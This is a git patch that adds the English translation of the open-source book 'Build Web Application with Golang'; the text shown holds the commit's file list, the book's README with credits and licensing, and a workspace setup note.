From eb5220f7eb5cc01172f309bfaf304a524a567faa Mon Sep 17 00:00:00 2001 From: astaxie Date: Sat, 10 May 2014 18:05:31 +0800 Subject: [PATCH] add english version --- en/README.md | 60 ++ en/code/readme.md | 7 + en/code/src/apps/ch.1.2/main.go | 14 + en/code/src/apps/ch.2.1/main.go | 11 + en/code/src/apps/ch.2.2/main.go | 277 ++++++++++ .../ch.2.2/what_is_wrong_with_this/main.go | 8 + .../src/apps/ch.2.3/basic_functions/main.go | 26 + .../apps/ch.2.3/hidden_print_methods/main.go | 14 + .../src/apps/ch.2.3/import_packages/main.go | 26 + .../only_call_init/only_call_init.go | 7 + en/code/src/apps/ch.2.3/main.go | 142 +++++ .../src/apps/ch.2.3/panic_and_recover/main.go | 31 ++ .../ch.2.3/pass_by_value_and_pointer/main.go | 31 ++ en/code/src/apps/ch.2.3/type_function/main.go | 44 ++ .../apps/ch.2.3/variadic_functions/main.go | 20 + en/code/src/apps/ch.2.4/compare_age/main.go | 43 ++ .../src/apps/ch.2.4/embedded_structs/main.go | 39 ++ .../src/apps/ch.2.4/embedded_structs2/main.go | 39 ++ .../main.go | 24 + en/code/src/apps/ch.2.4/main.go | 39 ++ .../ch.2.5/attach_methods_to_struct/main.go | 36 ++ en/code/src/apps/ch.2.5/box_example/main.go | 73 +++ .../src/apps/ch.2.5/embedded_method/main.go | 31 ++ .../src/apps/ch.2.5/method_overload/main.go | 36 ++ .../apps/ch.2.5/pass_struct_to_method/main.go | 18 + en/code/src/apps/ch.2.6/interface/main.go | 71 +++ en/code/src/apps/ch.2.6/reflection/main.go | 33 ++ .../apps/ch.2.6/stringer_interface/main.go | 22 + .../src/apps/ch.2.6/switch_type_check/main.go | 38 ++ en/code/src/apps/ch.2.6/type_check/main.go | 37 ++ .../src/apps/ch.2.7/buffered_channel/main.go | 13 + en/code/src/apps/ch.2.7/goroutine/main.go | 20 + .../ch.2.7/range_and_close_channel/main.go | 24 + .../src/apps/ch.2.7/select_channel/main.go | 30 + en/code/src/apps/ch.2.7/timeout/main.go | 27 + .../apps/ch.2.7/unbuffered_channel/main.go | 24 + en/code/src/apps/ch.3.2/main.go | 31 ++ en/code/src/apps/ch.3.4/main.go | 30 + en/code/src/apps/ch.4.1/login.gtpl | 12 + en/code/src/apps/ch.4.1/main.go | 48 ++ en/code/src/apps/ch.4.2/main.go | 59 ++ en/code/src/apps/ch.4.2/profile.gtpl | 89 +++ en/code/src/apps/ch.4.2/submission.gtpl | 16 + en/code/src/apps/ch.4.2/validator/main.go | 175 ++++++ en/code/src/apps/ch.4.3/index.gtpl | 28 + en/code/src/apps/ch.4.3/main.go | 39 ++ en/code/src/apps/ch.4.4/main.go | 54 ++ en/code/src/apps/ch.4.4/nonce/main.go | 70 +++ en/code/src/apps/ch.4.4/profile.gtpl | 85 +++ en/code/src/apps/ch.4.4/submission.gtpl | 17 + en/code/src/apps/ch.4.4/validator/main.go | 175 ++++++ en/code/src/apps/ch.4.5/client_upload/main.go | 46 ++ en/code/src/apps/ch.4.5/index.gtpl | 15 + en/code/src/apps/ch.4.5/main.go | 64 +++ en/code/src/apps/ch.4.5/nonce/main.go | 70 +++ en/code/src/apps/ch.4.5/upload.gtpl | 17 + en/code/src/apps/ch.4.5/validator/main.go | 175 ++++++ en/code/src/apps/ch.5.2/main.go | 76 +++ en/code/src/apps/ch.5.2/readme.md | 12 + en/code/src/apps/ch.5.2/schema.sql | 7 + en/code/src/apps/ch.5.3/foo.db | Bin 0 -> 3072 bytes en/code/src/apps/ch.5.3/main.go | 72 +++ en/code/src/apps/ch.5.3/readme.md | 23 + en/code/src/apps/ch.5.3/schema.sql | 6 + en/code/src/apps/ch.5.4/main.go | 77 +++ en/code/src/apps/ch.5.4/readme.md | 12 + en/code/src/apps/ch.5.4/schema.sql | 9 + en/code/src/apps/ch.5.5/main.go | 170 ++++++ en/code/src/apps/ch.5.5/readme.md | 23 + en/code/src/apps/ch.5.5/schema.sql | 12 + en/code/src/apps/ch.5.6/mongodb/main.go | 58 ++ en/code/src/apps/ch.5.6/mongodb/readme.md | 6 + en/code/src/apps/ch.5.6/redis/main.go | 60 ++ en/code/src/apps/ch.5.6/redis/readme.md | 10 + en/code/src/mymath/sqrt.go | 12 + en/eBook/01.0.md | 20 + en/eBook/01.1.md | 122 +++++ en/eBook/01.2.md | 151 +++++ en/eBook/01.3.md | 104 ++++ en/eBook/01.4.md | 398 ++++++++++++++ en/eBook/01.5.md | 9 + en/eBook/02.0.md | 17 + en/eBook/02.1.md | 53 ++ en/eBook/02.2.md | 456 ++++++++++++++++ en/eBook/02.3.md | 516 ++++++++++++++++++ en/eBook/02.4.md | 214 ++++++++ en/eBook/02.5.md | 307 +++++++++++ en/eBook/02.6.md | 395 ++++++++++++++ en/eBook/02.7.md | 242 ++++++++ en/eBook/02.8.md | 32 ++ en/eBook/03.0.md | 9 + en/eBook/03.1.md | 150 +++++ en/eBook/03.2.md | 65 +++ en/eBook/03.3.md | 85 +++ en/eBook/03.4.md | 135 +++++ en/eBook/03.5.md | 11 + en/eBook/04.0.md | 23 + en/eBook/04.1.md | 107 ++++ en/eBook/04.2.md | 141 +++++ en/eBook/04.3.md | 68 +++ en/eBook/04.4.md | 57 ++ en/eBook/04.5.md | 154 ++++++ en/eBook/04.6.md | 11 + en/eBook/05.0.md | 13 + en/eBook/05.1.md | 204 +++++++ en/eBook/05.2.md | 126 +++++ en/eBook/05.3.md | 110 ++++ en/eBook/05.4.md | 123 +++++ en/eBook/05.5.md | 256 +++++++++ en/eBook/05.6.md | 113 ++++ en/eBook/05.7.md | 11 + en/eBook/06.0.md | 11 + en/eBook/06.1.md | 111 ++++ en/eBook/06.2.md | 222 ++++++++ en/eBook/06.3.md | 139 +++++ en/eBook/06.4.md | 93 ++++ en/eBook/06.5.md | 9 + en/eBook/07.0.md | 11 + en/eBook/07.1.md | 216 ++++++++ en/eBook/07.2.md | 231 ++++++++ en/eBook/07.3.md | 241 ++++++++ en/eBook/07.4.md | 367 +++++++++++++ en/eBook/07.5.md | 159 ++++++ en/eBook/07.6.md | 161 ++++++ en/eBook/07.7.md | 9 + en/eBook/08.0.md | 18 + en/eBook/08.1.md | 411 ++++++++++++++ en/eBook/08.2.md | 159 ++++++ en/eBook/08.3.md | 116 ++++ en/eBook/08.4.md | 400 ++++++++++++++ en/eBook/08.5.md | 11 + en/eBook/09.0.md | 19 + en/eBook/09.1.md | 98 ++++ en/eBook/09.2.md | 79 +++ en/eBook/09.3.md | 62 +++ en/eBook/09.4.md | 75 +++ en/eBook/09.5.md | 96 ++++ en/eBook/09.6.md | 126 +++++ en/eBook/09.7.md | 11 + en/eBook/10.0.md | 24 + en/eBook/10.1.md | 92 ++++ en/eBook/10.2.md | 141 +++++ en/eBook/10.3.md | 192 +++++++ en/eBook/10.4.md | 9 + en/eBook/11.0.md | 17 + en/eBook/11.1.md | 209 +++++++ en/eBook/11.2.md | 264 +++++++++ en/eBook/11.3.md | 163 ++++++ en/eBook/11.4.md | 9 + en/eBook/12.0.md | 11 + en/eBook/12.1.md | 177 ++++++ en/eBook/12.2.md | 141 +++++ en/eBook/12.3.md | 193 +++++++ en/eBook/12.4.md | 185 +++++++ en/eBook/12.5.md | 20 + en/eBook/13.0.md | 11 + en/eBook/13.1.md | 62 +++ en/eBook/13.2.md | 270 +++++++++ en/eBook/13.3.md | 168 ++++++ en/eBook/13.4.md | 253 +++++++++ en/eBook/13.5.md | 261 +++++++++ en/eBook/13.6.md | 9 + en/eBook/14.0.md | 11 + en/eBook/14.1.md | 79 +++ en/eBook/14.2.md | 105 ++++ en/eBook/14.3.md | 350 ++++++++++++ en/eBook/14.4.md | 264 +++++++++ en/eBook/14.5.md | 118 ++++ en/eBook/14.6.md | 110 ++++ en/eBook/14.7.md | 10 + en/eBook/images/1.1.cmd.png | Bin 0 -> 11206 bytes en/eBook/images/1.1.linux.png | Bin 0 -> 11235 bytes en/eBook/images/1.1.mac.png | Bin 0 -> 86406 bytes en/eBook/images/1.3.go.png | Bin 0 -> 14021 bytes en/eBook/images/1.4.eclipse1.png | Bin 0 -> 94291 bytes en/eBook/images/1.4.eclipse2.png | Bin 0 -> 217754 bytes en/eBook/images/1.4.eclipse3.png | Bin 0 -> 52560 bytes en/eBook/images/1.4.eclipse4.png | Bin 0 -> 106094 bytes en/eBook/images/1.4.eclipse5.png | Bin 0 -> 229405 bytes en/eBook/images/1.4.eclipse6.png | Bin 0 -> 292183 bytes en/eBook/images/1.4.emacs.png | Bin 0 -> 306577 bytes en/eBook/images/1.4.idea1.png | Bin 0 -> 67071 bytes en/eBook/images/1.4.idea2.png | Bin 0 -> 80726 bytes en/eBook/images/1.4.idea3.png | Bin 0 -> 111913 bytes en/eBook/images/1.4.idea4.png | Bin 0 -> 126040 bytes en/eBook/images/1.4.idea5.png | Bin 0 -> 40456 bytes en/eBook/images/1.4.liteide.png | Bin 0 -> 137465 bytes en/eBook/images/1.4.sublime1.png | Bin 0 -> 94704 bytes en/eBook/images/1.4.sublime2.png | Bin 0 -> 56641 bytes en/eBook/images/1.4.sublime3.png | Bin 0 -> 8621 bytes en/eBook/images/1.4.sublime4.png | Bin 0 -> 68183 bytes en/eBook/images/1.4.vim.png | Bin 0 -> 84074 bytes en/eBook/images/13.1.flow.png | Bin 0 -> 17361 bytes en/eBook/images/13.1.gopath.png | Bin 0 -> 35302 bytes en/eBook/images/13.1.gopath2.png | Bin 0 -> 14374 bytes en/eBook/images/13.4.beego.png | Bin 0 -> 46977 bytes en/eBook/images/14.1.bootstrap.png | Bin 0 -> 197736 bytes en/eBook/images/14.1.bootstrap2.png | Bin 0 -> 1471 bytes en/eBook/images/14.1.bootstrap3.png | Bin 0 -> 22566 bytes en/eBook/images/14.4.github.png | Bin 0 -> 9795 bytes en/eBook/images/14.4.github2.png | Bin 0 -> 26099 bytes en/eBook/images/14.4.github3.png | Bin 0 -> 24078 bytes en/eBook/images/14.6.pprof.png | Bin 0 -> 31778 bytes en/eBook/images/14.6.pprof2.png | Bin 0 -> 245806 bytes en/eBook/images/14.6.pprof3.png | Bin 0 -> 99002 bytes en/eBook/images/2.2.array.png | Bin 0 -> 23275 bytes en/eBook/images/2.2.basic.png | Bin 0 -> 47991 bytes en/eBook/images/2.2.makenew.png | Bin 0 -> 144658 bytes en/eBook/images/2.2.slice.png | Bin 0 -> 23161 bytes en/eBook/images/2.2.slice2.png | Bin 0 -> 20435 bytes en/eBook/images/2.3.init.png | Bin 0 -> 94844 bytes en/eBook/images/2.4.student_struct.png | Bin 0 -> 100163 bytes .../images/2.5.rect_func_without_receiver.png | Bin 0 -> 19809 bytes .../2.5.shapes_func_with_receiver_cp.png | Bin 0 -> 26595 bytes .../2.5.shapes_func_without_receiver.png | Bin 0 -> 68648 bytes en/eBook/images/3.1.dns2.png | Bin 0 -> 194175 bytes en/eBook/images/3.1.dns_hierachy.png | Bin 0 -> 31211 bytes en/eBook/images/3.1.dns_inquery.png | Bin 0 -> 61712 bytes en/eBook/images/3.1.http.png | Bin 0 -> 8342 bytes en/eBook/images/3.1.httpPOST.png | Bin 0 -> 14309 bytes en/eBook/images/3.1.response.png | Bin 0 -> 63182 bytes en/eBook/images/3.1.web.png | Bin 0 -> 369523 bytes en/eBook/images/3.1.web2.png | Bin 0 -> 68342 bytes en/eBook/images/3.2.goweb.png | Bin 0 -> 8331 bytes en/eBook/images/3.3.http.png | Bin 0 -> 52024 bytes en/eBook/images/3.3.illustrator.png | Bin 0 -> 67233 bytes en/eBook/images/4.1.login.png | Bin 0 -> 12041 bytes en/eBook/images/4.1.slice.png | Bin 0 -> 1133 bytes en/eBook/images/4.3.escape.png | Bin 0 -> 5643 bytes en/eBook/images/4.4.token.png | Bin 0 -> 14634 bytes en/eBook/images/4.5.upload.png | Bin 0 -> 12980 bytes en/eBook/images/4.5.upload2.png | Bin 0 -> 6598 bytes en/eBook/images/5.6.mongodb.png | Bin 0 -> 248376 bytes en/eBook/images/6.1.cookie.png | Bin 0 -> 101967 bytes en/eBook/images/6.1.cookie2.png | Bin 0 -> 47599 bytes en/eBook/images/6.1.session.png | Bin 0 -> 35574 bytes en/eBook/images/6.4.cookie.png | Bin 0 -> 70733 bytes en/eBook/images/6.4.hijack.png | Bin 0 -> 28465 bytes en/eBook/images/6.4.hijacksuccess.png | Bin 0 -> 36463 bytes en/eBook/images/6.4.setcookie.png | Bin 0 -> 67644 bytes en/eBook/images/7.4.template.png | Bin 0 -> 12381 bytes en/eBook/images/8.1.socket.png | Bin 0 -> 34915 bytes en/eBook/images/8.2.websocket.png | Bin 0 -> 17554 bytes en/eBook/images/8.2.websocket2.png | Bin 0 -> 14880 bytes en/eBook/images/8.2.websocket3.png | Bin 0 -> 2036 bytes en/eBook/images/8.3.rest.png | Bin 0 -> 27815 bytes en/eBook/images/8.3.rest2.png | Bin 0 -> 27335 bytes en/eBook/images/8.3.rest3.png | Bin 0 -> 17020 bytes en/eBook/images/8.4.rpc.png | Bin 0 -> 56328 bytes en/eBook/images/9.1.csrf.png | Bin 0 -> 80309 bytes en/eBook/images/cover.png | Bin 0 -> 125993 bytes en/eBook/images/ebook.jpg | Bin 0 -> 50666 bytes en/eBook/images/navi1.png | Bin 0 -> 33502 bytes en/eBook/images/navi10.png | Bin 0 -> 32053 bytes en/eBook/images/navi11.png | Bin 0 -> 35818 bytes en/eBook/images/navi12.png | Bin 0 -> 34966 bytes en/eBook/images/navi13.png | Bin 0 -> 47867 bytes en/eBook/images/navi14.png | Bin 0 -> 45619 bytes en/eBook/images/navi2.png | Bin 0 -> 43597 bytes en/eBook/images/navi3.png | Bin 0 -> 38431 bytes en/eBook/images/navi4.png | Bin 0 -> 40069 bytes en/eBook/images/navi5.png | Bin 0 -> 54222 bytes en/eBook/images/navi6.png | Bin 0 -> 39547 bytes en/eBook/images/navi7.png | Bin 0 -> 41915 bytes en/eBook/images/navi8.png | Bin 0 -> 30410 bytes en/eBook/images/navi9.png | Bin 0 -> 46388 bytes en/eBook/images/polling.png | Bin 0 -> 25049 bytes en/eBook/preface.md | 96 ++++ en/eBook/ref.md | 13 + 269 files changed, 16101 insertions(+) create mode 100644 en/README.md create mode 100644 en/code/readme.md create mode 100644 en/code/src/apps/ch.1.2/main.go create mode 100644 en/code/src/apps/ch.2.1/main.go create mode 100644 en/code/src/apps/ch.2.2/main.go create mode 100644 en/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go create mode 100644 en/code/src/apps/ch.2.3/basic_functions/main.go create mode 100644 en/code/src/apps/ch.2.3/hidden_print_methods/main.go create mode 100644 en/code/src/apps/ch.2.3/import_packages/main.go create mode 100644 en/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go create mode 100644 en/code/src/apps/ch.2.3/main.go create mode 100644 en/code/src/apps/ch.2.3/panic_and_recover/main.go create mode 100644 en/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go create mode 100644 en/code/src/apps/ch.2.3/type_function/main.go create mode 100644 en/code/src/apps/ch.2.3/variadic_functions/main.go create mode 100644 en/code/src/apps/ch.2.4/compare_age/main.go create mode 100644 en/code/src/apps/ch.2.4/embedded_structs/main.go create mode 100644 en/code/src/apps/ch.2.4/embedded_structs2/main.go create mode 100644 en/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go create mode 100644 en/code/src/apps/ch.2.4/main.go create mode 100644 en/code/src/apps/ch.2.5/attach_methods_to_struct/main.go create mode 100644 en/code/src/apps/ch.2.5/box_example/main.go create mode 100644 en/code/src/apps/ch.2.5/embedded_method/main.go create mode 100644 en/code/src/apps/ch.2.5/method_overload/main.go create mode 100644 en/code/src/apps/ch.2.5/pass_struct_to_method/main.go create mode 100644 en/code/src/apps/ch.2.6/interface/main.go create mode 100644 en/code/src/apps/ch.2.6/reflection/main.go create mode 100644 en/code/src/apps/ch.2.6/stringer_interface/main.go create mode 100644 en/code/src/apps/ch.2.6/switch_type_check/main.go create mode 100644 en/code/src/apps/ch.2.6/type_check/main.go create mode 100644 en/code/src/apps/ch.2.7/buffered_channel/main.go create mode 100644 en/code/src/apps/ch.2.7/goroutine/main.go create mode 100644 en/code/src/apps/ch.2.7/range_and_close_channel/main.go create mode 100644 en/code/src/apps/ch.2.7/select_channel/main.go create mode 100644 en/code/src/apps/ch.2.7/timeout/main.go create mode 100644 en/code/src/apps/ch.2.7/unbuffered_channel/main.go create mode 100644 en/code/src/apps/ch.3.2/main.go create mode 100644 en/code/src/apps/ch.3.4/main.go create mode 100644 en/code/src/apps/ch.4.1/login.gtpl create mode 100644 en/code/src/apps/ch.4.1/main.go create mode 100644 en/code/src/apps/ch.4.2/main.go create mode 100644 en/code/src/apps/ch.4.2/profile.gtpl create mode 100644 en/code/src/apps/ch.4.2/submission.gtpl create mode 100644 en/code/src/apps/ch.4.2/validator/main.go create mode 100644 en/code/src/apps/ch.4.3/index.gtpl create mode 100644 en/code/src/apps/ch.4.3/main.go create mode 100644 en/code/src/apps/ch.4.4/main.go create mode 100644 en/code/src/apps/ch.4.4/nonce/main.go create mode 100644 en/code/src/apps/ch.4.4/profile.gtpl create mode 100644 en/code/src/apps/ch.4.4/submission.gtpl create mode 100644 en/code/src/apps/ch.4.4/validator/main.go create mode 100644 en/code/src/apps/ch.4.5/client_upload/main.go create mode 100644 en/code/src/apps/ch.4.5/index.gtpl create mode 100644 en/code/src/apps/ch.4.5/main.go create mode 100644 en/code/src/apps/ch.4.5/nonce/main.go create mode 100644 en/code/src/apps/ch.4.5/upload.gtpl create mode 100644 en/code/src/apps/ch.4.5/validator/main.go create mode 100644 en/code/src/apps/ch.5.2/main.go create mode 100644 en/code/src/apps/ch.5.2/readme.md create mode 100644 en/code/src/apps/ch.5.2/schema.sql create mode 100644 en/code/src/apps/ch.5.3/foo.db create mode 100644 en/code/src/apps/ch.5.3/main.go create mode 100644 en/code/src/apps/ch.5.3/readme.md create mode 100644 en/code/src/apps/ch.5.3/schema.sql create mode 100644 en/code/src/apps/ch.5.4/main.go create mode 100644 en/code/src/apps/ch.5.4/readme.md create mode 100644 en/code/src/apps/ch.5.4/schema.sql create mode 100644 en/code/src/apps/ch.5.5/main.go create mode 100644 en/code/src/apps/ch.5.5/readme.md create mode 100644 en/code/src/apps/ch.5.5/schema.sql create mode 100644 en/code/src/apps/ch.5.6/mongodb/main.go create mode 100644 en/code/src/apps/ch.5.6/mongodb/readme.md create mode 100644 en/code/src/apps/ch.5.6/redis/main.go create mode 100644 en/code/src/apps/ch.5.6/redis/readme.md create mode 100644 en/code/src/mymath/sqrt.go create mode 100644 en/eBook/01.0.md create mode 100644 en/eBook/01.1.md create mode 100644 en/eBook/01.2.md create mode 100644 en/eBook/01.3.md create mode 100644 en/eBook/01.4.md create mode 100644 en/eBook/01.5.md create mode 100644 en/eBook/02.0.md create mode 100644 en/eBook/02.1.md create mode 100644 en/eBook/02.2.md create mode 100644 en/eBook/02.3.md create mode 100644 en/eBook/02.4.md create mode 100644 en/eBook/02.5.md create mode 100644 en/eBook/02.6.md create mode 100644 en/eBook/02.7.md create mode 100644 en/eBook/02.8.md create mode 100644 en/eBook/03.0.md create mode 100644 en/eBook/03.1.md create mode 100644 en/eBook/03.2.md create mode 100644 en/eBook/03.3.md create mode 100644 en/eBook/03.4.md create mode 100644 en/eBook/03.5.md create mode 100644 en/eBook/04.0.md create mode 100644 en/eBook/04.1.md create mode 100644 en/eBook/04.2.md create mode 100644 en/eBook/04.3.md create mode 100644 en/eBook/04.4.md create mode 100644 en/eBook/04.5.md create mode 100644 en/eBook/04.6.md create mode 100644 en/eBook/05.0.md create mode 100644 en/eBook/05.1.md create mode 100644 en/eBook/05.2.md create mode 100644 en/eBook/05.3.md create mode 100644 en/eBook/05.4.md create mode 100644 en/eBook/05.5.md create mode 100644 en/eBook/05.6.md create mode 100644 en/eBook/05.7.md create mode 100644 en/eBook/06.0.md create mode 100644 en/eBook/06.1.md create mode 100644 en/eBook/06.2.md create mode 100644 en/eBook/06.3.md create mode 100644 en/eBook/06.4.md create mode 100644 en/eBook/06.5.md create mode 100644 en/eBook/07.0.md create mode 100644 en/eBook/07.1.md create mode 100644 en/eBook/07.2.md create mode 100644 en/eBook/07.3.md create mode 100644 en/eBook/07.4.md create mode 100644 en/eBook/07.5.md create mode 100644 en/eBook/07.6.md create mode 100644 en/eBook/07.7.md create mode 100644 en/eBook/08.0.md create mode 100644 en/eBook/08.1.md create mode 100644 en/eBook/08.2.md create mode 100644 en/eBook/08.3.md create mode 100644 en/eBook/08.4.md create mode 100644 en/eBook/08.5.md create mode 100644 en/eBook/09.0.md create mode 100644 en/eBook/09.1.md create mode 100644 en/eBook/09.2.md create mode 100644 en/eBook/09.3.md create mode 100644 en/eBook/09.4.md create mode 100644 en/eBook/09.5.md create mode 100644 en/eBook/09.6.md create mode 100644 en/eBook/09.7.md create mode 100644 en/eBook/10.0.md create mode 100644 en/eBook/10.1.md create mode 100644 en/eBook/10.2.md create mode 100644 en/eBook/10.3.md create mode 100644 en/eBook/10.4.md create mode 100644 en/eBook/11.0.md create mode 100644 en/eBook/11.1.md create mode 100644 en/eBook/11.2.md create mode 100644 en/eBook/11.3.md create mode 100644 en/eBook/11.4.md create mode 100644 en/eBook/12.0.md create mode 100644 en/eBook/12.1.md create mode 100644 en/eBook/12.2.md create mode 100644 en/eBook/12.3.md create mode 100644 en/eBook/12.4.md create mode 100644 en/eBook/12.5.md create mode 100644 en/eBook/13.0.md create mode 100644 en/eBook/13.1.md create mode 100644 en/eBook/13.2.md create mode 100644 en/eBook/13.3.md create mode 100644 en/eBook/13.4.md create mode 100644 en/eBook/13.5.md create mode 100644 en/eBook/13.6.md create mode 100644 en/eBook/14.0.md create mode 100644 en/eBook/14.1.md create mode 100644 en/eBook/14.2.md create mode 100644 en/eBook/14.3.md create mode 100644 en/eBook/14.4.md create mode 100644 en/eBook/14.5.md create mode 100644 en/eBook/14.6.md create mode 100644 en/eBook/14.7.md create mode 100644 en/eBook/images/1.1.cmd.png create mode 100644 en/eBook/images/1.1.linux.png create mode 100644 en/eBook/images/1.1.mac.png create mode 100644 en/eBook/images/1.3.go.png create mode 100644 en/eBook/images/1.4.eclipse1.png create mode 100644 en/eBook/images/1.4.eclipse2.png create mode 100644 en/eBook/images/1.4.eclipse3.png create mode 100644 en/eBook/images/1.4.eclipse4.png create mode 100644 en/eBook/images/1.4.eclipse5.png create mode 100644 en/eBook/images/1.4.eclipse6.png create mode 100644 en/eBook/images/1.4.emacs.png create mode 100644 en/eBook/images/1.4.idea1.png create mode 100644 en/eBook/images/1.4.idea2.png create mode 100644 en/eBook/images/1.4.idea3.png create mode 100644 en/eBook/images/1.4.idea4.png create mode 100644 en/eBook/images/1.4.idea5.png create mode 100644 en/eBook/images/1.4.liteide.png create mode 100644 en/eBook/images/1.4.sublime1.png create mode 100644 en/eBook/images/1.4.sublime2.png create mode 100644 en/eBook/images/1.4.sublime3.png create mode 100644 en/eBook/images/1.4.sublime4.png create mode 100644 en/eBook/images/1.4.vim.png create mode 100644 en/eBook/images/13.1.flow.png create mode 100644 en/eBook/images/13.1.gopath.png create mode 100644 en/eBook/images/13.1.gopath2.png create mode 100644 en/eBook/images/13.4.beego.png create mode 100644 en/eBook/images/14.1.bootstrap.png create mode 100644 en/eBook/images/14.1.bootstrap2.png create mode 100644 en/eBook/images/14.1.bootstrap3.png create mode 100644 en/eBook/images/14.4.github.png create mode 100644 en/eBook/images/14.4.github2.png create mode 100644 en/eBook/images/14.4.github3.png create mode 100644 en/eBook/images/14.6.pprof.png create mode 100644 en/eBook/images/14.6.pprof2.png create mode 100644 en/eBook/images/14.6.pprof3.png create mode 100644 en/eBook/images/2.2.array.png create mode 100644 en/eBook/images/2.2.basic.png create mode 100644 en/eBook/images/2.2.makenew.png create mode 100644 en/eBook/images/2.2.slice.png create mode 100644 en/eBook/images/2.2.slice2.png create mode 100644 en/eBook/images/2.3.init.png create mode 100644 en/eBook/images/2.4.student_struct.png create mode 100644 en/eBook/images/2.5.rect_func_without_receiver.png create mode 100644 en/eBook/images/2.5.shapes_func_with_receiver_cp.png create mode 100644 en/eBook/images/2.5.shapes_func_without_receiver.png create mode 100644 en/eBook/images/3.1.dns2.png create mode 100644 en/eBook/images/3.1.dns_hierachy.png create mode 100644 en/eBook/images/3.1.dns_inquery.png create mode 100644 en/eBook/images/3.1.http.png create mode 100644 en/eBook/images/3.1.httpPOST.png create mode 100644 en/eBook/images/3.1.response.png create mode 100644 en/eBook/images/3.1.web.png create mode 100644 en/eBook/images/3.1.web2.png create mode 100644 en/eBook/images/3.2.goweb.png create mode 100644 en/eBook/images/3.3.http.png create mode 100644 en/eBook/images/3.3.illustrator.png create mode 100644 en/eBook/images/4.1.login.png create mode 100644 en/eBook/images/4.1.slice.png create mode 100644 en/eBook/images/4.3.escape.png create mode 100644 en/eBook/images/4.4.token.png create mode 100644 en/eBook/images/4.5.upload.png create mode 100644 en/eBook/images/4.5.upload2.png create mode 100644 en/eBook/images/5.6.mongodb.png create mode 100644 en/eBook/images/6.1.cookie.png create mode 100644 en/eBook/images/6.1.cookie2.png create mode 100644 en/eBook/images/6.1.session.png create mode 100644 en/eBook/images/6.4.cookie.png create mode 100644 en/eBook/images/6.4.hijack.png create mode 100644 en/eBook/images/6.4.hijacksuccess.png create mode 100644 en/eBook/images/6.4.setcookie.png create mode 100644 en/eBook/images/7.4.template.png create mode 100644 en/eBook/images/8.1.socket.png create mode 100644 en/eBook/images/8.2.websocket.png create mode 100644 en/eBook/images/8.2.websocket2.png create mode 100644 en/eBook/images/8.2.websocket3.png create mode 100644 en/eBook/images/8.3.rest.png create mode 100644 en/eBook/images/8.3.rest2.png create mode 100644 en/eBook/images/8.3.rest3.png create mode 100644 en/eBook/images/8.4.rpc.png create mode 100644 en/eBook/images/9.1.csrf.png create mode 100644 en/eBook/images/cover.png create mode 100644 en/eBook/images/ebook.jpg create mode 100644 en/eBook/images/navi1.png create mode 100644 en/eBook/images/navi10.png create mode 100644 en/eBook/images/navi11.png create mode 100644 en/eBook/images/navi12.png create mode 100644 en/eBook/images/navi13.png create mode 100644 en/eBook/images/navi14.png create mode 100644 en/eBook/images/navi2.png create mode 100644 en/eBook/images/navi3.png create mode 100644 en/eBook/images/navi4.png create mode 100644 en/eBook/images/navi5.png create mode 100644 en/eBook/images/navi6.png create mode 100644 en/eBook/images/navi7.png create mode 100644 en/eBook/images/navi8.png create mode 100644 en/eBook/images/navi9.png create mode 100644 en/eBook/images/polling.png create mode 100644 en/eBook/preface.md create mode 100644 en/eBook/ref.md diff --git a/en/README.md b/en/README.md new file mode 100644 index 00000000..393c733c --- /dev/null +++ b/en/README.md @@ -0,0 +1,60 @@ +***Build Web Application with Golang*** +====================================== + +[Download PDF](https://drive.google.com/file/d/0B2GBHFyTK2N8TzM4dEtIWjBJdEk/edit?usp=sharing) + +### ***Translator Comments*** + +This is an English version of [《Go Web编程》](https://github.com/astaxie/build-web-application-with-golang), the original version was written by [AstaXie](https://github.com/astaxie) and translated by [Unknown](https://github.com/Unknwon) and [Larry Battle](https://github.com/LarryBattle). + +This book is about how to build web applications in Go. In the first few chapters of the book, the author will review some basic knowledge about Go. However, for an optimal reading experience, you should have a basic understanding of the Go language and the concept of a web application. If you are completely new to programming, this book is not intended to provide sufficient introductory material to get started. + +If anything is unclear due to wording or language issues, feel free to ask me to write a better translation. + +###Acknowledgments for translation help + +- [matalangilbert](https://github.com/matalangilbert) +- [nightlyone](https://github.com/nightlyone) +- [sbinet](https://github.com/sbinet) +- [carbocation](https://github.com/carbocation) +- [desimone](https://github.com/desimone) +- [reigai](https://github.com/reigai) +- [OlingCat](https://github.com/OlingCat) + +### Purpose + +Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications. + +- For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go. +- For those of you who are working with C/C++, you will know how the web works. + +I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people. + +### Donation + +If you like this book, you can ask your Chinese friends to follow this [link](https://me.alipay.com/astaxie) donate the original author, help him write more books with better, more useful, and more interesting content. + +### Exchanging Learning Go + +If you know what is QQ, join the group 259316004. If not, follow this [link](http://download.imqq.com/download.shtml) to get more details. Also, you can join our [forum](http://bbs.beego.me). + +### Acknowledgments + +First, I have to thank the people who are members of Golang-China in QQ group 102319854, they are all very nice and helpful. Then, I need to thank the following people who gave great help when I was writing this book. + + - [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) + - [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) + - [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) + - [欧林猫 Oling Cat](https://github.com/OlingCat)(review code) + - [吴文磊 Wenlei Wu](mailto:spadesacn@gmail.com)(provide some pictures) + - [北极星 Polaris](https://github.com/polaris1119)(review whole book) + - [雨 痕 Rain Trail](https://github.com/qyuhen)(review chapter 2 and 3) + +### License + +This book is licensed under the [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), +the code is licensed under a [BSD 3-Clause License](), unless otherwise specified. + +### Get Started + +[Index](./eBook/preface.md) diff --git a/en/code/readme.md b/en/code/readme.md new file mode 100644 index 00000000..f6d4510d --- /dev/null +++ b/en/code/readme.md @@ -0,0 +1,7 @@ +## Workspace setup. + +To avoid workspace issues and be able to develop from any folder within this path, +set the environment variable `GOPATH` to the path of this directory. + +More info: +- [GOPATH documentation](http://golang.org/doc/code.html#GOPATH) diff --git a/en/code/src/apps/ch.1.2/main.go b/en/code/src/apps/ch.1.2/main.go new file mode 100644 index 00000000..cc5b4e22 --- /dev/null +++ 